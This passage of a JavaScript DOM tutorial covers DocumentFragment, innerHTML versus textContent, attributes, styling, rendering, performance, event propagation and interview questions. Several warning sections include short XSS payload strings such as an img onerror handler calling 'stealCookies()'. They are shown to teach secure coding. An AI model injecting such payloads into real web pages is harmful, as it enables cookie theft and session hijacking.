= 0; i < 1000; i++) { const li = document.createElement('li') li.textContent = `Item ${i}` fragment.appendChild(li) // No DOM update (fragment is detached) } ul.appendChild(fragment) // Single DOM update! ``` A `DocumentFragment` is a lightweight container that: - Is not part of the DOM tree - Has no parent - When appended, only its **children** are inserted (the fragment itself disappears) <Note> **Modern browser optimization:** Browsers may batch consecutive DOM modifications and perform a single reflow. However, using DocumentFragment is still the recommended pattern because it's explicit, works consistently across all browsers, and avoids any risk of forced synchronous layouts if you read layout properties between writes. </Note> --- ## Modifying Content Three properties let you read and write element content: **[`innerHTML`](https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML)**, **[`textContent`](https://developer.mozilla.org/en-US/docs/Web/API/Node/textContent)**, and **[`innerText`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/innerText)**. ### innerHTML - Parse and Insert HTML ```javascript const div = document.querySelector('div') // Read HTML content console.log(div.innerHTML) // "<p>Hello</p><span>World</span>" // Write HTML content (parses the string!) div.innerHTML = '<h1>New Title</h1><p>New paragraph</p>' // Clear all content div.innerHTML = '' ``` <Warning> **Security Alert: XSS Vulnerability!** Never use `innerHTML` with user-provided content: ```javascript // DANGEROUS! User could inject: <img src=x onerror="stealCookies()"> div.innerHTML = userInput // NO! // Safe alternatives: div.textContent = userInput // Escapes HTML // or sanitize the input first ``` </Warning> ### textContent - Plain Text Only ```javascript const div = document.querySelector('div') // Read text (ignores HTML tags) // <div><p>Hello</p><span>World</span></div> console.log(div.textContent) // "HelloWorld" // Write text (HTML is escaped, not parsed) div.textContent = '<script>alert("XSS")</script>' // Displays literally: <script>alert("XSS")</script> // Safe from XSS! ``` ### innerText - Rendered Text ```javascript const div = document.querySelector('div') // innerText respects CSS visibility // <div>Hello <span style="display:none">Hidden</span> World</div> console.log(div.textContent) // "Hello Hidden World" console.log(div.innerText) // "Hello World" (Hidden is excluded!) ``` ### When to Use Each | Property | Use Case | |----------|----------| | `innerHTML` | Inserting trusted HTML (never user input!) | | `textContent` | Setting/getting plain text (safe, fast) | | `innerText` | Getting text as user sees it (slower, respects CSS) | ```javascript // Performance: textContent is faster than innerText // because innerText must calculate styles // Setting text content (both work, textContent is faster) element.textContent = 'Hello' // Preferred element.innerText = 'Hello' // Works but slower ``` --- ## How to Work with DOM Attributes HTML elements have attributes. JavaScript lets you read, write, and remove them using **[`getAttribute()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/getAttribute)**, **[`setAttribute()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/setAttribute)**, **[`hasAttribute()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/hasAttribute)**, and **[`removeAttribute()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/removeAttribute)**. ### Standard Attribute Methods ```javascript const link = document.querySelector('a') // Get attribute value const href = link.getAttribute('href') const target = link.getAttribute('target') // Set attribute value link.setAttribute('href', 'https://example.com') link.setAttribute('target', '_blank') // Check if attribute exists if (link.hasAttribute('target')) { console.log('Link opens in new tab') } // Remove attribute link.removeAttribute('target') ``` ### Properties vs Attributes: The Difference This confuses many developers! **Attributes** are in the HTML. **Properties** are on the DOM object. ```html <input type="text" value="initial"> ``` ```javascript const input = document.querySelector('input') // ATTRIBUTE: The original HTML value console.log(input.getAttribute('value')) // "initial" // PROPERTY: The current state console.log(input.value) // "initial" // User types "new text"... console.log(input.getAttribute('value')) // Still "initial"! console.log(input.value) // "new text" // Reset to attribute value input.value = input.getAttribute('value') ``` Key differences: | Aspect | Attribute | Property | |--------|-----------|----------| | Source | HTML markup | DOM object | | Access | `get/setAttribute()` | Direct property access | | Updates | Manual only | Automatically with user interaction | | Type | Always string | Can be any type | ```javascript // Attribute is always a string checkbox.getAttribute('checked') // "" or null // Property is a boolean checkbox.checked // true or false // Attribute (string) input.getAttribute('maxlength') // "10" // Property (number) input.maxLength // 10 ``` ### Data Attributes and the dataset API Custom data attributes start with `data-` and are accessible via the **[`dataset`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/dataset)** property: ```html <div id="user" data-user-id="123" data-role="admin" data-is-active="true"> John Doe </div> ``` ```javascript const user = document.querySelector('#user') // Read data attributes (camelCase!) console.log(user.dataset.userId) // "123" console.log(user.dataset.role) // "admin" console.log(user.dataset.isActive) // "true" (string, not boolean!) // Write data attributes user.dataset.lastLogin = '2024-01-15' // Creates: data-last-login="2024-01-15" // Delete data attributes delete user.dataset.role // Check if exists if ('userId' in user.dataset) { console.log('Has user ID') } ``` <Tip> **Naming Convention:** HTML uses `kebab-case` (`data-user-id`), JavaScript uses `camelCase` (`dataset.userId`). The conversion is automatic! </Tip> ### Common Attribute Shortcuts Many attributes have direct property shortcuts: ```javascript // These pairs are equivalent: element.id // element.getAttribute('id') element.className // element.getAttribute('class') element.href // element.getAttribute('href') element.src // element.getAttribute('src') element.title // element.getAttribute('title') // For class manipulation, use classList (covered next) ``` --- ## How to Style DOM Elements with JavaScript JavaScript can modify element styles in several ways using the **[`style`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/style)** property and **[`classList`](https://developer.mozilla.org/en-US/docs/Web/API/Element/classList)** API. ### The style Property (Inline Styles) ```javascript const box = document.querySelector('.box') // Set individual styles (camelCase!) box.style.backgroundColor = 'blue' box.style.fontSize = '20px' box.style.marginTop = '10px' // Read styles (only reads INLINE styles!) console.log(box.style.backgroundColor) // "blue" console.log(box.style.color) // "" (not inline, from stylesheet) // Set multiple styles at once box.style.cssText = 'background: red; font-size: 16px; padding: 10px;' // Remove an inline style box.style.backgroundColor = '' // Removes the style ``` <Warning> `element.style` only reads/writes **inline** styles! To get computed styles (from stylesheets), use `getComputedStyle()`. </Warning> ### getComputedStyle() - Read Actual Styles Use **[`getComputedStyle()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)** to read the final computed styles: ```javascript const box = document.querySelector('.box') // Get all computed styles const styles = getComputedStyle(box) console.log(styles.backgroundColor) // "rgb(0, 0, 255)" console.log(styles.fontSize) // "16px" console.log(styles.display) // "block" // Get pseudo-element styles const beforeStyles = getComputedStyle(box, '::before') console.log(beforeStyles.content) // '"Hello"' ``` ### classList - Manipulate CSS Classes The **[`classList`](https://developer.mozilla.org/en-US/docs/Web/API/Element/classList)** API is the modern way to add/remove/toggle classes: ```javascript const button = document.querySelector('button') // Add classes button.classList.add('active') button.classList.add('btn', 'btn-primary') // Multiple at once // Remove classes button.classList.remove('active') button.classList.remove('btn', 'btn-primary') // Multiple at once // Toggle (add if missing, remove if present) button.classList.toggle('active') // Toggle with condition button.classList.toggle('active', isActive) // Add if isActive is true // Check if class exists if (button.classList.contains('active')) { console.log('Button is active') } // Replace a class button.classList.replace('btn-primary', 'btn-secondary') // Iterate over classes button.classList.forEach(cls => console.log(cls)) // Get number of classes console.log(button.classList.length) // 2 ``` ### className vs classList ```javascript // className is a string (old way) element.className = 'btn btn-primary' // Replaces ALL classes element.className += ' active' // Appending is clunky // classList is a DOMTokenList (modern way) element.classList.add('active') // Adds without affecting others element.classList.remove('btn-primary') // Removes specifically ``` --- ## How Browsers Render the DOM to Pixels Understanding how browsers render pages helps you write performant code. This is where [JavaScript Engines](/concepts/javascript-engines) and the browser's rendering engine work together. ### From HTML to Pixels When you load a webpage, the browser goes through these steps: <Steps> <Step title="1. Parse HTML → Build DOM"> Browser reads HTML bytes and constructs the Document Object Model tree. </Step> <Step title="2. Parse CSS → Build CSSOM"> CSS is parsed into the CSS Object Model with styling rules. </Step> <Step title="3. Combine → Render Tree"> DOM + CSSOM merge into the Render Tree (only visible elements). </Step> <Step title="4. Layout (Reflow)"> Calculate exact position and size of every element. </Step> <Step title="5. Paint"> Fill in pixels: colors, borders, shadows, text. </Step> <Step title="6. Composite"> Combine layers into the final image using the GPU. </Step> </Steps> ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ THE CRITICAL RENDERING PATH │ │ │ │ 1. PARSE HTML 2. PARSE CSS 3. BUILD RENDER TREE │ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────────────┐ │ │ │ HTML bytes │ │ CSS bytes │ │ DOM + CSSOM │ │ │ │ ↓ │ │ ↓ │ │ ↘ ↙ │ │ │ │ Characters │ │ Characters │ │ RENDER TREE │ │ │ │ ↓ │ │ ↓ │ │ (visible elements │ │ │ │ Tokens │ │ Tokens │ │ + their styles) │ │ │ │ ↓ │ │ ↓ │ └──────────────────────┘ │ │ │ Nodes │ │ Rules │ │ │ │ │ ↓ │ │ ↓ │ ▼ │ │ │ DOM │ │ CSSOM │ 4. LAYOUT (Reflow) │ │ └──────────────┘ └──────────────┘ ┌──────────────────────┐ │ │ │ Calculate exact │ │ │ │ position & size of │ │ │ │ every element │ │ │ └──────────┬───────────┘ │ │ │ │ │ ▼ │ │ 5. PAINT │ │ ┌──────────────────────┐ │ │ │ Fill in pixels: │ │ │ │ colors, borders, │ │ │ │ shadows, text │ │ │ └──────────┬───────────┘ │ │ │ │ │ ▼ │ │ 6. COMPOSITE │ │ ┌──────────────────────┐ │ │ │ Combine layers into │ │ │ │ final image (GPU) │ │ │ └──────────────────────┘ │ │ │ │ │ ▼ │ │ ┌──────────────────────┐ │ │ │ PIXELS! │ │ │ └──────────────────────┘ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` ### What's NOT in the Render Tree The Render Tree only contains visible elements: ```html <!-- NOT in Render Tree --> <head>...</head> <!-- head is never rendered --> <script>...</script> <!-- script tags aren't visible --> <link rel="stylesheet"> <!-- link tags aren't visible --> <meta> <!-- meta tags aren't visible --> <div style="display: none">Hi</div> <!-- display:none excluded --> <!-- IN the Render Tree (even if not seen) --> <div style="visibility: hidden">Hi</div> <!-- Takes up space --> <div style="opacity: 0">Hi</div> <!-- Takes up space --> ``` ### Layout (Reflow) - The Expensive Step Layout calculates the **geometry** of every element: position, size, margins, etc. **Reflow is triggered when:** - Adding/removing elements - Changing element dimensions (width, height, padding, margin) - Changing font size - Resizing the window - Reading certain properties (more on this below!) ### Paint - Drawing Pixels After layout, the browser paints the pixels: text, colors, images, borders, shadows. **Repaint (without reflow) happens when:** - Changing colors - Changing background-image - Changing visibility - Changing box-shadow (sometimes) ### Composite - Layering Modern browsers separate content into layers and use the GPU to composite them. This is why some animations are smooth: ```css /* These properties can animate without reflow/repaint */ transform: translateX(100px); /* GPU accelerated! */ opacity: 0.5; /* GPU accelerated! */ /* These properties cause reflow */ left: 100px; /* Avoid for animations! */ width: 200px; /* Avoid for animations! */ ``` --- ## How to Optimize DOM Performance DOM operations can be slow. Here's how to keep your pages fast. ### Cache DOM References ```javascript // Bad: Queries the DOM every iteration for (let i = 0; i < 1000; i++) { document.querySelector('.result').textContent += i } // Good: Query once, reuse const result = document.querySelector('.result') for (let i = 0; i < 1000; i++) { result.textContent += i } // Even better: Build string, set once const result = document.querySelector('.result') let text = '' for (let i = 0; i < 1000; i++) { text += i } result.textContent = text ``` ### Batch DOM Updates ```javascript // Avoid: Multiple style changes (may trigger multiple reflows) element.style.width = '100px' element.style.height = '200px' element.style.margin = '10px' // Better: Single style assignment with cssText element.style.cssText = 'width: 100px; height: 200px; margin: 10px;' // Best: Use a CSS class (cleanest and most maintainable) element.classList.add('my-styles') // Good: DocumentFragment for multiple elements const fragment = document.createDocumentFragment() items.forEach(item => { const li = document.createElement('li') li.textContent = item fragment.appendChild(li) }) ul.appendChild(fragment) // Single DOM update ``` <Tip> **Why batch?** While modern browsers often optimize consecutive style changes into a single reflow, this optimization breaks if you read a layout property (like `offsetWidth`) between writes. Batching explicitly avoids this risk and makes your intent clear. </Tip> ### Avoid Layout Thrashing **Layout thrashing** occurs when you alternate between reading and writing DOM properties: ```javascript // TERRIBLE: Forces layout on EVERY iteration boxes.forEach(box => { const width = box.offsetWidth // Read (forces layout) box.style.width = (width + 10) + 'px' // Write (invalidates layout) }) // GOOD: Batch reads, then batch writes const widths = boxes.map(box => box.offsetWidth) // Read all boxes.forEach((box, i) => { box.style.width = (widths[i] + 10) + 'px' // Write all }) ``` **Properties that trigger layout when read:** | Property | What It Returns | |----------|-----------------| | `offsetWidth` / `offsetHeight` | Element's layout width/height including borders | | `offsetTop` / `offsetLeft` | Position relative to offset parent | | `clientWidth` / `clientHeight` | Inner dimensions (padding but no border) | | `scrollWidth` / `scrollHeight` | Full scrollable dimensions | | `scrollTop` / `scrollLeft` | Current scroll position | | `getBoundingClientRect()` | Position and size relative to viewport | | `getComputedStyle()` | All computed CSS values | ```javascript // Any of these reads forces a layout calculation const width = element.offsetWidth // Layout triggered! const rect = element.getBoundingClientRect() // Layout triggered! const styles = getComputedStyle(element) // Layout triggered! ``` ### Use requestAnimationFrame for Visual Changes Use **[`requestAnimationFrame()`](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame)** to batch visual changes with the browser's render cycle: ```javascript // Bad: DOM changes at unpredictable times window.addEventListener('scroll', () => { element.style.transform = `translateY(${window.scrollY}px)` }) // Good: Batch visual changes with next frame let ticking = false window.addEventListener('scroll', () => { if (!ticking) { requestAnimationFrame(() => { element.style.transform = `translateY(${window.scrollY}px)` ticking = false }) ticking = true } }) ``` --- ## The #1 DOM Mistake: Using innerHTML with User Input The most dangerous DOM mistake is using **[`innerHTML`](https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML)** with untrusted content. This opens your application to **Cross-Site Scripting (XSS)** attacks. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ innerHTML: THE SECURITY TRAP │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ❌ DANGEROUS ✓ SAFE │ │ ───────────── ────── │ │ │ │ User Input: User Input: │ │ "<img src=x onerror=alert('XSS')>" "<img src=x onerror=...>" │ │ │ │ │ │ ▼ ▼ │ │ element.innerHTML = userInput element.textContent = input │ │ │ │ │ │ ▼ ▼ │ │ ┌─────────────────┐ ┌─────────────────┐ │ │ │ BROWSER PARSES │ │ DISPLAYED AS │ │ │ │ AS REAL HTML! │ │ PLAIN TEXT │ │ │ │ │ │ │ │ │ │ 🚨 Script runs! │ │ "<img src=..." │ │ │ │ Cookies stolen! │ │ (harmless) │ │ │ └─────────────────┘ └─────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ```javascript // ❌ DANGEROUS - Never do this with user input! const username = getUserInput() // User enters: <img src=x onerror="stealCookies()"> div.innerHTML = `Welcome, ${username}!` // The malicious script EXECUTES! // ✓ SAFE - textContent escapes HTML const username = getUserInput() div.textContent = `Welcome, ${username}!` // Displays: Welcome, <img src=x onerror="stealCookies()">! // The HTML is shown as text, not executed // ✓ SAFE - Create elements programmatically const username = getUserInput() const welcomeText = document.createTextNode(`Welcome, ${username}!`) div.appendChild(welcomeText) ``` <Warning> **The Trap:** `innerHTML` looks convenient, but it parses strings as real HTML. If that string contains user input, attackers can inject `<script>` tags, malicious event handlers, or other dangerous code. **Always use `textContent` for user-provided content.** </Warning> ### Other Common Mistakes <AccordionGroup> <Accordion title="Forgetting that querySelector returns null"> ```javascript // ❌ WRONG - Crashes if element doesn't exist document.querySelector('.maybe-missing').classList.add('active') // TypeError: Cannot read property 'classList' of null // ✓ CORRECT - Check first or use optional chaining const element = document.querySelector('.maybe-missing') if (element) { element.classList.add('active') } // Or use optional chaining (modern) document.querySelector('.maybe-missing')?.classList.add('active') ``` </Accordion> <Accordion title="Using childNodes instead of children"> ```javascript // ❌ CONFUSING - Includes whitespace text nodes! const ul = document.querySelector('ul') console.log(ul.childNodes.length) // 7 (includes text nodes!) // ✓ CLEAR - Only element children console.log(ul.children.length) // 3 (just the <li> elements) ``` </Accordion> <Accordion title="Layout thrashing in loops"> ```javascript // ❌ SLOW - Forces layout on every iteration boxes.forEach(box => { const width = box.offsetWidth // READ - forces layout box.style.width = width + 10 + 'px' // WRITE - invalidates layout }) // ✓ FAST - Batch reads, then batch writes const widths = boxes.map(box => box.offsetWidth) // All reads boxes.forEach((box, i) => { box.style.width = widths[i] + 10 + 'px' // All writes }) ``` </Accordion> </AccordionGroup> --- ## Event Propagation: Bubbling and Capturing When an event occurs on a DOM element, it doesn't just trigger on that element. It travels through the DOM tree in a process called **event propagation**. Understanding this helps with event handling. ### The Three Phases Every DOM event goes through three phases: ``` 1. CAPTURING PHASE ↓ (from window → target's parent) 2. TARGET PHASE ● (at the target element) 3. BUBBLING PHASE ↑ (from target's parent → window) ``` ```javascript // Most events bubble UP by default document.querySelector('.child').addEventListener('click', (e) => { console.log('Child clicked') }) document.querySelector('.parent').addEventListener('click', (e) => { console.log('Parent also receives the click!') // This fires too! }) ``` ### Capturing vs Bubbling By default, event listeners fire during the **bubbling phase** (bottom-up). You can listen during the **capturing phase** (top-down) with the third parameter: ```javascript // Bubbling (default) — fires on the way UP element.addEventListener('click', handler) element.addEventListener('click', handler, false) // Capturing — fires on the way DOWN element.addEventListener('click', handler, true) element.addEventListener('click', handler, { capture: true }) ``` ```javascript // Practical example: see the order document.querySelector('.parent').addEventListener('click', () => { console.log('1. Parent - capturing') }, true) document.querySelector('.child').addEventListener('click', () => { console.log('2. Child - target') }) document.querySelector('.parent').addEventListener('click', () => { console.log('3. Parent - bubbling') }) // Click on child outputs: 1, 2, 3 ``` ### Stopping Propagation You can stop an event from traveling further: ```javascript element.addEventListener('click', (e) => { e.stopPropagation() // Stop bubbling/capturing // Parent handlers won't fire }) element.addEventListener('click', (e) => { e.stopImmediatePropagation() // Stop ALL handlers, even on same element }) ``` <Warning> **Use `stopPropagation()` sparingly!** It breaks event delegation and can make debugging difficult. Usually there's a better solution. </Warning> ### Preventing Default Behavior Don't confuse propagation with default behavior: ```javascript // Prevent the browser's default action (e.g., following a link) link.addEventListener('click', (e) => { e.preventDefault() // Don't navigate // Event still bubbles unless you also call stopPropagation() }) // Common use cases: // - Prevent form submission: form.addEventListener('submit', e => e.preventDefault()) // - Prevent link navigation: link.addEventListener('click', e => e.preventDefault()) // - Prevent context menu: element.addEventListener('contextmenu', e => e.preventDefault()) ``` ### The `event.target` vs `event.currentTarget` This distinction matters for event delegation: ```javascript document.querySelector('.parent').addEventListener('click', (e) => { console.log(e.target) // The element that was actually clicked console.log(e.currentTarget) // The element with the listener (.parent) console.log(this) // Same as currentTarget (in regular functions) }) ``` ```javascript // If you click on a <span> inside .parent: // e.target = <span> (what you clicked) // e.currentTarget = .parent (what has the listener) ``` ### Events That Don't Bubble Most events bubble, but some don't: | Event | Bubbles? | Notes | |-------|----------|-------| | `click`, `mousedown`, `keydown` | Yes | Most user events bubble | | `focus`, `blur` | No | Use `focusin`/`focusout` for bubbling versions | | `mouseenter`, `mouseleave` | No | Use `mouseover`/`mouseout` for bubbling versions | | `load`, `unload`, `scroll` | No | Window/document events | ```javascript // focus doesn't bubble, but focusin does form.addEventListener('focusin', (e) => { console.log('Something in the form was focused:', e.target) }) ``` --- ## Common DOM Patterns ### Event Delegation Instead of adding listeners to many elements, add one to a parent. This pattern relies on **event bubbling**. When you click a child element, the event bubbles up to the parent where your listener catches it: ```javascript // Bad: Many listeners document.querySelectorAll('.btn').forEach(btn => { btn.addEventListener('click', handleClick) }) // Good: One listener with delegation document.querySelector('.button-container').addEventListener('click', (e) => { const btn = e.target.closest('.btn') if (btn) { handleClick(e) } }) ``` Benefits: - Works for dynamically added elements - Less memory usage - Easier cleanup (uses [closures](/concepts/scope-and-closures) to maintain handler references) ### Checking if Element Exists ```javascript // Using querySelector (returns null if not found) const element = document.querySelector('.maybe-exists') if (element) { element.textContent = 'Found!' } // Optional chaining (modern) document.querySelector('.maybe-exists')?.classList.add('active') // With getElementById const el = document.getElementById('myId') if (el !== null) { // Element exists } ``` ### Waiting for DOM Ready Listen for the **[`DOMContentLoaded`](https://developer.mozilla.org/en-US/docs/Web/API/Document/DOMContentLoaded_event)** event to know when the DOM is ready: ```javascript // Modern: DOMContentLoaded (DOM ready, images may still be loading) document.addEventListener('DOMContentLoaded', () => { console.log('DOM is ready!') // Safe to query elements }) // Full page load (including images, stylesheets) window.addEventListener('load', () => { console.log('Everything loaded!') }) // If script is at end of body, DOM is already ready // <script src="app.js"></script> <!-- Just before </body> --> // Modern: defer attribute (script loads in parallel, runs after DOM ready) // <script src="app.js" defer></script> ``` <Tip> **Best practice:** Put your `<script>` tags just before `</body>` or use the `defer` attribute. Then you don't need to wait for DOMContentLoaded. </Tip> --- ## Common Misconceptions <AccordionGroup> <Accordion title="Misconception 1: 'The DOM is the same as my HTML source code'"> **Wrong!** The DOM is NOT your HTML file. The browser: 1. **Fixes errors** — Missing `<head>`, `<body>`, unclosed tags are auto-corrected 2. **Normalizes structure** — Text outside elements gets wrapped properly 3. **Reflects JavaScript changes** — DOM updates don't change your HTML file ```html <!-- Your HTML file --> <html>Hello World <!-- What the DOM looks like --> <html> <head></head> <body>Hello World</body> </html> ``` View Source shows your file. DevTools Elements shows the DOM. </Accordion> <Accordion title="Misconception 2: 'querySelector is slow, use getElementById'"> **Mostly wrong!** Yes, `getElementById` is technically faster (O(1) hashtable lookup), but: - The difference is **microseconds** — imperceptible to users - `querySelector` is more **flexible** and **readable** - You'd need to call it **thousands of times in a loop** to notice ```javascript // Both are fine for normal use document.getElementById('myId') document.querySelector('#myId') // Only optimize if you're selecting in a tight loop // with performance issues (rare!) ``` **Rule:** Write readable code first. Optimize only when you have a measured problem. </Accordion> <Accordion title="Misconception 3: 'display: none removes the element from the DOM'"> **Wrong!** `display: none` hides the element visually, but it's still in the DOM: ```javascript element.style.display = 'none' // Element is STILL in the DOM! console.log(document.getElementById('hidden')) // Element exists console.log(element.parentNode) // Still has parent // To actually remove from DOM: element.remove() // or element.parentNode.removeChild(element) ``` - `display: none` → Hidden but in DOM, not in Render Tree - `visibility: hidden` → Hidden but takes up space, in Render Tree - `remove()` → Actually removed from DOM </Accordion> <Accordion title="Misconception 4: 'Live collections automatically update my code'"> **Misleading!** Live collections (`getElementsByClassName`, `getElementsByTagName`) update automatically, but this can cause bugs: ```javascript const items = document.getElementsByClassName('item') // DANGER: Removing items changes the collection while looping! for (let i = 0; i < items.length; i++) { items[i].remove() // Collection shrinks, indices shift! } // Some items are skipped! // SAFE: Use static NodeList or convert to array const items = document.querySelectorAll('.item') // Static items.forEach(item => item.remove()) // Works correctly ``` **Tip:** Prefer `querySelectorAll` (static) unless you specifically need live updates. </Accordion> </AccordionGroup> --- ## Classic Interview Questions ### Question 1: What's the difference between `document.querySelector` and `document.getElementById`? <Accordion title="Answer"> | Feature | `getElementById` | `querySelector` | |---------|-----------------|-----------------| | Selector type | ID only | Any CSS selector | | Returns | Element or `null` | Element or `null` | | Speed | Faster (hashtable) | Slightly slower (parses CSS) | | Flexibility | Low | High | ```javascript // getElementById — only IDs document.getElementById('myId') // querySelector — any CSS selector document.querySelector('#myId') // Same as above document.querySelector('.card:first-child') // Not possible with getElementById document.querySelector('[data-id="123"]') // Attribute selector ``` **Best answer:** "getElementById is marginally faster but querySelector is more flexible. In practice, the performance difference is negligible for most applications. I prefer querySelector for consistency and flexibility." </Accordion> ### Question 2: Explain event delegation and why it's useful <Accordion title="Answer"> **Event delegation** is attaching a single event listener to a parent element instead of multiple listeners to child elements. It works because events "bubble up" the DOM tree. ```javascript // ❌ Without delegation — 100 listeners for 100 items document.querySelectorAll('.item').forEach(item => { item.addEventListener('click', handleClick) }) // ✓ With delegation — 1 listener handles all items document.querySelector('.container').addEventListener('click', (e) => { const item = e.target.closest('.item') if (item) handleClick(e) }) ``` **Benefits:** 1. **Memory efficient** — One listener vs. many 2. **Works for dynamic elements** — New items automatically handled 3. **Easier cleanup** — Remove one listener to clean up **Best answer:** Include a code example and mention `closest()` for finding the target element. </Accordion> ### Question 3: What causes layout thrashing and how do you avoid it? <Accordion title="Answer"> **Layout thrashing** occurs when you repeatedly alternate between reading and writing DOM layout properties, forcing the browser to recalculate layout multiple times. ```javascript // ❌ Thrashing — forces layout on EVERY iteration boxes.forEach(box => { const width = box.offsetWidth // READ → triggers layout box.style.width = width + 10 + 'px' // WRITE → invalidates layout }) // ✓ Batched — one layout calculation const widths = boxes.map(box => box.offsetWidth) // All reads boxes.forEach((box, i) => { box.style.width = widths[i] + 10 + 'px' // All writes }) ``` **Properties that trigger layout:** `offsetWidth/Height`, `clientWidth/Height`, `getBoundingClientRect()`, `getComputedStyle()` **Best answer:** Explain the read-write-read-write pattern and show the batched solution. </Accordion> ### Question 4: What's the difference between `innerHTML`, `textContent`, and `innerText`? <Accordion title="Answer"> | Property | Parses HTML? | Includes hidden text? | Performance | Security | |----------|-------------|----------------------|-------------|----------| | `innerHTML` | Yes | Yes | Slower | XSS risk | | `textContent` | No | Yes | Fast | Safe | | `innerText` | No | No (respects CSS) | Slowest | Safe | ```javascript // <div id="el"><span style="display:none">Hidden</span> Visible</div> el.innerHTML // "<span style="display:none">Hidden</span> Visible" el.textContent // "Hidden Visible" el.innerText // " Visible" (hidden text excluded) ``` **Security warning:** Never use `innerHTML` with user input. It can execute malicious scripts (XSS attacks). Use `textContent` instead. **Best answer:** Mention the XSS security risk with innerHTML. This shows you understand real-world implications. </Accordion> ### Question 5: How do you efficiently add 1000 elements to the DOM? <Accordion title="Answer"> Use a **DocumentFragment** to batch insertions: ```javascript // ❌ Slow — 1000 DOM updates, 1000 potential reflows for (let i = 0; i < 1000; i++) { const li = document.createElement('li') li.textContent = `Item ${i}` ul.appendChild(li) // Triggers update each time } // ✓ Fast — 1 DOM update const fragment = document.createDocumentFragment() for (let i = 0; i < 1000; i++) { const li = document.createElement('li') li.textContent = `Item ${i}` fragment.appendChild(li) // No DOM update (fragment is detached) } ul.appendChild(fragment) // Single update ``` **Alternative:** Build an HTML string and use `innerHTML` once (but only with trusted content, never user input). **Best answer:** Show the fragment approach and explain WHY it's faster (detached container, single reflow). </Accordion> ### Question 6: What's the difference between attributes and properties? <Accordion title="Answer"> **Attributes** are defined in HTML. **Properties** are the live state on DOM objects. ```html <input type="text" value="initial"> ``` ```javascript const input = document.querySelector('input') // Attribute — original HTML value input.getAttribute('value') // "initial" (never changes) // Property — current live value input.value // "initial" initially, then whatever user types // User types "hello"... input.getAttribute('value') // Still "initial" input.value // "hello" ``` | Aspect | Attribute | Property | |--------|-----------|----------| | Source | HTML markup | DOM object | | Type | Always string | Can be any type | | Updates | Manual only | Automatically with interaction | **Best answer:** Use the `<input value="">` example. It's the clearest demonstration of the difference. </Accordion> --- ## Key Takeaways <Info> **The key things to remember:** 1. **The DOM is a tree** — Elements are nodes with parent, child, and sibling relationships 2. **DOM ≠ HTML source** — The browser fixes errors and JavaScript modifies it 3. **Use querySelector** — More flexible than getElementById, accepts any CSS selector 4. **Element vs Node properties** — Use `children`, `firstElementChild`, etc. to skip text nodes 5. **closest() is your friend** — Perfect for event delegation and finding ancestor elements 6. **innerHTML is dangerous** — Never use with user input; use textContent instead 7. **Attributes vs Properties** — Attributes are HTML source, properties are live DOM state 8. **classList over className** — Use add/remove/toggle for cleaner class manipulation 9. **Batch DOM operations** — Use DocumentFragment or build strings to minimize reflows 10. **Avoid layout thrashing** — Don't alternate reading and writing layout properties </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's the difference between childNodes and children?"> **Answer:** - `childNodes` returns ALL child nodes, including **text nodes** (whitespace!) and **comment nodes** - `children` returns only **element nodes** ```javascript // <ul> // <li>One</li> // <li>Two</li> // </ul> ul.childNodes.length // 5 (text, li, text, li, text) ul.children.length // 2 (li, li) ``` **Rule:** Use `children` unless you specifically need text/comment nodes. </Accordion> <Accordion title="Question 2: Why is innerHTML dangerous with user input?"> **Answer:** `innerHTML` parses strings as HTML, enabling **Cross-Site Scripting (XSS)** attacks: ```javascript // User input: <img src=x onerror="stealCookies()"> div.innerHTML = userInput // Executes malicious code! // Safe: textContent escapes HTML div.textContent = userInput // Displays as plain text ``` Always sanitize HTML or use `textContent` for user-provided content. </Accordion> <Accordion title="Question 3: What's the difference between getAttribute('value') and .value on an input?"> **Answer:** - `getAttribute('value')` returns the **original HTML attribute** (initial value) - `.value` property returns the **current value** (what user typed) ```javascript // <input value="initial"> // User types "hello" input.getAttribute('value') // "initial" input.value // "hello" ``` Attributes are the HTML source. Properties are the live DOM state. </Accordion> <Accordion title="Question 4: What does closest() do and why is it useful?"> **Answer:** `closest()` finds the nearest **ancestor** (including the element itself) that matches a selector: ```javascript // <div class="card"> // <button class="btn">Click</button> // </div> btn.closest('.card') // Returns the parent div btn.closest('button') // Returns btn itself (it matches!) btn.closest('.modal') // null (no matching ancestor) ``` **Super useful for event delegation:** ```javascript document.addEventListener('click', (e) => { const card = e.target.closest('.card') if (card) { // Handle click inside any card } }) ``` </Accordion> <Accordion title="Question 5: What causes layout thrashing and how do you avoid it?"> **Answer:** Layout thrashing happens when you **alternate reading and writing** layout-triggering properties: ```javascript // BAD: Read-write-read-write pattern boxes.forEach(box => { const width = box.offsetWidth // READ → forces layout box.style.width = width + 10 + 'px' // WRITE → invalidates layout }) // Each iteration forces a new layout calculation! // GOOD: Batch reads, then batch writes const widths = boxes.map(b => b.offsetWidth) // All reads boxes.forEach((box, i) => { box.style.width = widths[i] + 10 + 'px' // All writes }) // Only one layout calculation! ``` </Accordion> <Accordion title="Question 6: What's in the Render Tree vs the DOM?"> **Answer:** The DOM contains **all nodes** from the HTML (plus JS modifications). The Render Tree contains only **visible elements** with their computed styles. **In DOM but NOT in Render Tree:** - `<head>` and its contents - `<script>`, `<link>`, `<meta>` tags - Elements with `display: none` **In Render Tree:** - Visible elements - Elements with `visibility: hidden` (still take space) - Elements with `opacity: 0` (still take space) Pseudo-elements (`::before`, `::after`) are in the Render Tree but NOT in the DOM. </Accordion> <Accordion title="Question 7: getElementsByClassName vs querySelectorAll - what's different?"> **Answer:** | Aspect | `getElementsByClassName` | `querySelectorAll` | |--------|--------------------------|-------------------| | Returns | 